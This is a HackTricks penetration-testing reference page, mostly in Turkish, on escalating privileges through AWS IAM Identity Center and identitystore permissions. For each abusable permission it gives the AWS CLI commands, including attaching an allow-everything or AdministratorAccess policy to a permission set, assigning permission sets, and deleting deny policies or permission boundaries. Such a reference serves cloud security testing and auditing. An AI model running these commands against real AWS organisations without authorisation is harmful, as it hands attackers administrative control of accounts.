AWS - SSO & identitystore Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

AWS Identity Center / AWS SSO

AWS Identity Center / AWS SSO hakkında daha fazla bilgi için bakınız:

AWS - IAM, Identity Center & SSO Enum

Warning

Varsayılan olarak, yalnızca Management Account’tan izinlere sahip kullanıcılar IAM Identity Center’a erişip kontrol edebilecektir.
Diğer hesaplardaki kullanıcılar bunu yalnızca hesap Delegated Adminstrator. ise yapabilir.
Check the docs for more info.

Reset Password

Bu tür durumlarda kolay bir şekilde escalate privileges elde etmenin yolu, kullanıcı şifrelerini sıfırlamaya izin veren bir izne sahip olmaktır. Ne yazık ki, şifre sıfırlama için yalnızca kullanıcıya bir e-posta göndermek mümkün olduğundan, kullanıcının e-postasına erişiminiz olması gerekir.

identitystore:CreateGroupMembership

Bu izin ile bir kullanıcıyı bir gruba eklemek mümkün olur; böylece kullanıcı grup tarafından sahip olunan tüm izinleri devralır.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya verilen bir Permission Set’e ek izinler verebilir

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kendisinin kontrolü altındaki bir kullanıcıya atanan bir Permission Set’e ek izinler verebilir.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir Permission Set’e ekstra izinler verebilir.

Warning

Bu izinleri bu durumda kötüye kullanmak için etkilenecek hesapların TAMAMINDA bulunan bir customer managed policy’nin adını bilmeniz gerekir.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcıya bir hesap için Permission Set atayabilir.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Kullanıcıya atanmış belirli bir rol adı için STS kısa süreli kimlik bilgilerini döndürür.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Ancak, nasıl elde edileceğini bilmediğim bir access token’a ihtiyacınız var (TODO).

sso:DetachManagedPolicyFromPermissionSet

Bu izne sahip bir saldırgan, belirtilen permission set ile bir AWS managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla yetki, detaching a managed policy (deny policy) yoluyla verilebilir.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Bu izne sahip bir saldırgan, belirtilen permission set ile bir Customer managed policy arasındaki ilişkiyi kaldırabilir. Daha fazla ayrıcalık detaching a managed policy (deny policy) yoluyla verilebilir.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Bu izne sahip bir saldırgan, permission set içindeki bir inline policy’den izinleri kaldırabilir. Bir inline policy’yi (deny policy) ayırarak daha fazla ayrıcalık sağlanabilir.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Bu izne sahip bir saldırgan, Permission Boundary’i Permission Set’ten kaldırabilir. Permission Boundary tarafından verilen Permission Set üzerindeki kısıtlamaları kaldırarak daha fazla ayrıcalık verilebilir.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin